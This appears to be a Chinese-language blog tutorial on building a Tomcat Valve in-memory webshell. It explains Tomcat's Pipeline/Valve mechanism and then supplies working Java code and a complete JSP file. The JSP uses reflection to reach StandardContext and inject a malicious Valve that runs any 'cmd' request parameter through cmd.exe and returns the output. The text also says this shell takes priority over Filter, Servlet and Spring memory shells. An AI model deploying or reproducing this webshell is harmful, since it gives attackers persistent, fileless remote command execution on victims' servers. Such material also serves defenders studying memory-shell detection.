Tomcat Valve内存马
Valve是Tomcat 容器的专用请求处理拦截器,能够对流量进行一定操控
关于Valve
在Tomcat服务器中,流量会经转多个容器,容器内具有一条管道Pipeline供流量传输,在该管道中,可以设置阀门Valve对流量进行处理,类似于JavaEE中的过滤器Filter,Valve通过invoke()方法对流量进行相应操作

Pipeline接口中,具有一个addValve()方法用于添加自定义阀
public interface Pipeline extends Contained { Valve getBasic();
void setBasic(Valve var1);
void addValve(Valve var1);
Valve[] getValves();
void removeValve(Valve var1);
Valve getFirst();
boolean isAsyncSupported();
void findNonAsyncValves(Set<String> var1); }
|
因而只需要获取一个容器,向容器中添加我们定义的恶意Valve类就可以执行我们的恶意逻辑,Context容器当然是首选,在前面FIlter、Servlet内存马的构建中我们可以轻松地获取Context容器接口的实现类StandardContext
构建Valve内存马
继承ValveBase类构建恶意的Valve,重写invoke()方法
public static class ValveShell extends ValveBase { @Override public void invoke(Request request, Response response) throws IOException { String cmd = request.getParameter("cmd"); if (cmd != null) { StringBuilder output = new StringBuilder(); ProcessBuilder processBuilder; processBuilder = new ProcessBuilder("cmd.exe", "/c", cmd); try { Process process = processBuilder.start(); BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream())); String line; while ((line = reader.readLine()) != null) { output.append(line).append("\n"); } } catch (IOException e) { throw new RuntimeException(e); } response.setContentType("text/html;charset=UTF-8"); response.getWriter().println(output); } }
}
|
获取当前web应用的StandardContext,将恶意阀注入
ServletContext servletContext = request.getServletContext();
Class<?> servletContextClass = servletContext.getClass(); Field applicationContext = servletContextClass.getDeclaredField("context"); applicationContext.setAccessible(true); ApplicationContext trueApplicationContext = (ApplicationContext) applicationContext.get(servletContext);
Class<? extends ApplicationContext> applicationContextClass = trueApplicationContext.getClass(); Field standardContext = applicationContextClass.getDeclaredField("context"); standardContext.setAccessible(true); StandardContext trueStandardContext = (StandardContext) standardContext.get(trueApplicationContext); trueStandardContext.getPipeline().addValve(new ValveShell());
|
完整的jsp文件
<%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="org.apache.catalina.connector.Request" %> <%@ page import="org.apache.catalina.connector.Response" %> <%@ page import="org.apache.catalina.valves.ValveBase" %> <%@ page import="java.io.BufferedReader" %> <%@ page import="java.io.InputStreamReader" %> <%@ page import="java.io.IOException" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <%! public static class ValveShell extends ValveBase { @Override public void invoke(Request request, Response response) throws IOException { String cmd = request.getParameter("cmd"); if (cmd != null) { StringBuilder output = new StringBuilder(); ProcessBuilder processBuilder; processBuilder = new ProcessBuilder("cmd.exe", "/c", cmd); try { Process process = processBuilder.start(); BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream())); String line; while ((line = reader.readLine()) != null) { output.append(line).append("\n"); } } catch (IOException e) { throw new RuntimeException(e); } response.setContentType("text/html;charset=UTF-8"); response.getWriter().println(output); } }
} %> <% ServletContext servletContext = request.getServletContext();
Class<?> servletContextClass = servletContext.getClass(); Field applicationContext = servletContextClass.getDeclaredField("context"); applicationContext.setAccessible(true); ApplicationContext trueApplicationContext = (ApplicationContext) applicationContext.get(servletContext);
Class<? extends ApplicationContext> applicationContextClass = trueApplicationContext.getClass(); Field standardContext = applicationContextClass.getDeclaredField("context"); standardContext.setAccessible(true); StandardContext trueStandardContext = (StandardContext) standardContext.get(trueApplicationContext); trueStandardContext.getPipeline().addValve(new ValveShell());
response.getWriter().write("success"); %>
|
Valve在流量到达Context容器前就已在发挥作用,其优先级比Filter、Servlet、Listener和Spring框架中的内存马都要高